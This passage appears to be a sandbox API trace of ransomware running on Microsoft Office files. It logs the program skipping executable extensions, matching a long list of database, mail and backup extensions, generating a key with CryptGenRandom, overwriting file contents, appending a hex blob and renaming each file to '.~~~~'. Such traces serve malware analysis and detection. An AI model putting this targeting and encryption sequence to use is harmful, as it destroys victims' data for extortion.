	[0144.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.877] GetLastError () returned 0x0
	[0144.877] RtlWakeConditionVariable () returned 0x0
	[0144.877] GetCurrentThreadId () returned 0x3a4
	[0144.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".scr") returned 0x0
	[0144.877] lstrlenW (lpString=".cmd") returned 4
	[0144.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".cmd") returned 0x0
	[0144.877] lstrlenW (lpString=".dll") returned 4
	[0144.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".dll") returned 0x0
	[0144.878] lstrlenW (lpString=".bat") returned 4
	[0144.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".bat") returned 0x0
	[0144.878] lstrlenW (lpString=".cpl") returned 4
	[0144.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".cpl") returned 0x0
	[0144.878] lstrlenW (lpString=".sys") returned 4
	[0144.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".sys") returned 0x0
	[0144.878] lstrlenW (lpString=".msc") returned 4
	[0144.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".msc") returned 0x0
	[0144.878] lstrlenW (lpString=".com") returned 4
	[0144.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".com") returned 0x0
	[0144.878] lstrlenW (lpString=".lnk") returned 4
	[0144.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".lnk") returned 0x0
	[0144.878] lstrlenW (lpString=".msp") returned 4
	[0144.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".msp") returned 0x0
	[0144.878] lstrlenW (lpString=".pif") returned 4
	[0144.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".pif") returned 0x0
	[0144.878] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0144.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.881] lstrlenW (lpString=".sqb") returned 4
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".sqb") returned 0x0
	[0144.881] lstrlenW (lpString=".ost") returned 4
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".ost") returned 0x0
	[0144.881] lstrlenW (lpString=".txt") returned 4
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".txt") returned 0x0
	[0144.881] lstrlenW (lpString=".mdt") returned 4
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".mdt") returned 0x0
	[0144.881] lstrlenW (lpString=".BDB") returned 4
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".BDB") returned 0x0
	[0144.881] lstrlenW (lpString=".eql") returned 4
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".eql") returned 0x0
	[0144.881] lstrlenW (lpString=".DBF") returned 4
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".DBF") returned 0x0
	[0144.881] lstrlenW (lpString=".EQL") returned 4
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".EQL") returned 0x0
	[0144.881] lstrlenW (lpString=".FDB") returned 4
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".FDB") returned 0x0
	[0144.881] lstrlenW (lpString=".EDB") returned 4
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".EDB") returned 0x0
	[0144.881] lstrlenW (lpString=".DACPAC") returned 7
	[0144.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0144.882] lstrlenW (lpString=".VHD") returned 4
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".VHD") returned 0x0
	[0144.882] lstrlenW (lpString=".DBV") returned 4
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".DBV") returned 0x0
	[0144.882] lstrlenW (lpString=".dacpac") returned 7
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0144.882] lstrlenW (lpString=".sdf") returned 4
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".sdf") returned 0x0
	[0144.882] lstrlenW (lpString=".accdb") returned 6
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".accdb") returned 0x0
	[0144.882] lstrlenW (lpString=".DBX") returned 4
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".DBX") returned 0x0
	[0144.882] lstrlenW (lpString=".MDT") returned 4
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".MDT") returned 0x0
	[0144.882] lstrlenW (lpString=".SQB") returned 4
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".SQB") returned 0x0
	[0144.882] lstrlenW (lpString=".vhd") returned 4
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".vhd") returned 0x0
	[0144.882] lstrlenW (lpString=".bac") returned 4
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".bac") returned 0x0
	[0144.882] lstrlenW (lpString=".mdf") returned 4
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".mdf") returned 0x0
	[0144.882] lstrlenW (lpString=".BAK") returned 4
	[0144.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".BAK") returned 0x0
	[0144.882] lstrlenW (lpString=".BAC") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".BAC") returned 0x0
	[0144.883] lstrlenW (lpString=".dbs") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".dbs") returned 0x0
	[0144.883] lstrlenW (lpString=".vhdx") returned 5
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0144.883] lstrlenW (lpString=".NDF") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".NDF") returned 0x0
	[0144.883] lstrlenW (lpString=".dat") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".dat") returned 0x0
	[0144.883] lstrlenW (lpString=".DBS") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".DBS") returned 0x0
	[0144.883] lstrlenW (lpString=".CKP") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".CKP") returned 0x0
	[0144.883] lstrlenW (lpString=".edb") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".edb") returned 0x0
	[0144.883] lstrlenW (lpString=".PST") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".PST") returned 0x0
	[0144.883] lstrlenW (lpString=".dbf") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".dbf") returned 0x0
	[0144.883] lstrlenW (lpString=".SQL") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".SQL") returned 0x0
	[0144.883] lstrlenW (lpString=".pst") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".pst") returned 0x0
	[0144.883] lstrlenW (lpString=".dbv") returned 4
	[0144.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".dbv") returned 0x0
	[0144.883] lstrlenW (lpString=".SDF") returned 4
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".SDF") returned 0x0
	[0144.884] lstrlenW (lpString=".dtxs") returned 5
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0144.884] lstrlenW (lpString=".db3") returned 4
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".db3") returned 0x0
	[0144.884] lstrlenW (lpString=".OST") returned 4
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".OST") returned 0x0
	[0144.884] lstrlenW (lpString=".dbx") returned 4
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".dbx") returned 0x0
	[0144.884] lstrlenW (lpString=".DB3") returned 4
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".DB3") returned 0x0
	[0144.884] lstrlenW (lpString=".DAT") returned 4
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".DAT") returned 0x0
	[0144.884] lstrlenW (lpString=".VHDX") returned 5
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0144.884] lstrlenW (lpString=".ndf") returned 4
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".ndf") returned 0x0
	[0144.884] lstrlenW (lpString=".DB") returned 3
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".DB") returned 0x0
	[0144.884] lstrlenW (lpString=".sql") returned 4
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".sql") returned 0x0
	[0144.884] lstrlenW (lpString=".MYD") returned 4
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".MYD") returned 0x0
	[0144.884] lstrlenW (lpString=".DBT") returned 4
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".DBT") returned 0x0
	[0144.884] lstrlenW (lpString=".ACCDB") returned 6
	[0144.884] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0144.885] lstrlenW (lpString=".fdb") returned 4
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".fdb") returned 0x0
	[0144.885] lstrlenW (lpString=".bak") returned 4
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".bak") returned 0x0
	[0144.885] lstrlenW (lpString=".myd") returned 4
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".myd") returned 0x0
	[0144.885] lstrlenW (lpString=".DTXS") returned 5
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0144.885] lstrlenW (lpString=".ckp") returned 4
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".ckp") returned 0x0
	[0144.885] lstrlenW (lpString=".dbt") returned 4
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".dbt") returned 0x0
	[0144.885] lstrlenW (lpString=".db") returned 3
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".db") returned 0x0
	[0144.885] lstrlenW (lpString=".TXT") returned 4
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".TXT") returned 0x0
	[0144.885] lstrlenW (lpString=".MDF") returned 4
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".MDF") returned 0x0
	[0144.885] lstrlenW (lpString=".bdb") returned 4
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".bdb") returned 0x0
	[0144.885] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.886] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0144.887] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.887] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.887] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26487737042) returned 1
	[0144.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbfc4bdf0, dwHighDateTime=0x1d60e1e)) 
	[0144.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fb70
	[0144.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fb70 | out: hHeap=0x300000) returned 1
	[0144.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37eca8
	[0144.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.888] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.888] GetLastError () returned 0x0
	[0144.889] GetLastError () returned 0x0
	[0144.889] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.889] GetLastError () returned 0x0
	[0144.889] GetLastError () returned 0x0
	[0144.889] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0xd1, lpOverlapped=0x0) returned 1
	[0144.891] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.891] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0xd1, lpOverlapped=0x0) returned 1
	[0144.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.891] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.891] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.891] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.891] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.891] CloseHandle (hObject=0x138) returned 1
	[0144.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0144.892] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.~~~~")) returned 1
	[0144.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.895] GetLastError () returned 0x0
	[0144.895] RtlWakeConditionVariable () returned 0x0
	[0144.895] GetCurrentThreadId () returned 0x3a4
	[0144.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0144.895] lstrlenW (lpString=".cmd") returned 4
	[0144.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0144.895] lstrlenW (lpString=".dll") returned 4
	[0144.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0144.895] lstrlenW (lpString=".bat") returned 4
	[0144.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0144.895] lstrlenW (lpString=".cpl") returned 4
	[0144.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0144.895] lstrlenW (lpString=".sys") returned 4
	[0144.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0144.896] lstrlenW (lpString=".msc") returned 4
	[0144.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0144.896] lstrlenW (lpString=".com") returned 4
	[0144.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".com") returned 0x0
	[0144.896] lstrlenW (lpString=".lnk") returned 4
	[0144.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0144.896] lstrlenW (lpString=".msp") returned 4
	[0144.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0144.896] lstrlenW (lpString=".pif") returned 4
	[0144.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0144.896] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0144.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.899] lstrlenW (lpString=".sqb") returned 4
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0144.899] lstrlenW (lpString=".ost") returned 4
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0144.899] lstrlenW (lpString=".txt") returned 4
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0144.899] lstrlenW (lpString=".mdt") returned 4
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0144.899] lstrlenW (lpString=".BDB") returned 4
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0144.899] lstrlenW (lpString=".eql") returned 4
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0144.899] lstrlenW (lpString=".DBF") returned 4
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0144.899] lstrlenW (lpString=".EQL") returned 4
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0144.899] lstrlenW (lpString=".FDB") returned 4
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0144.899] lstrlenW (lpString=".EDB") returned 4
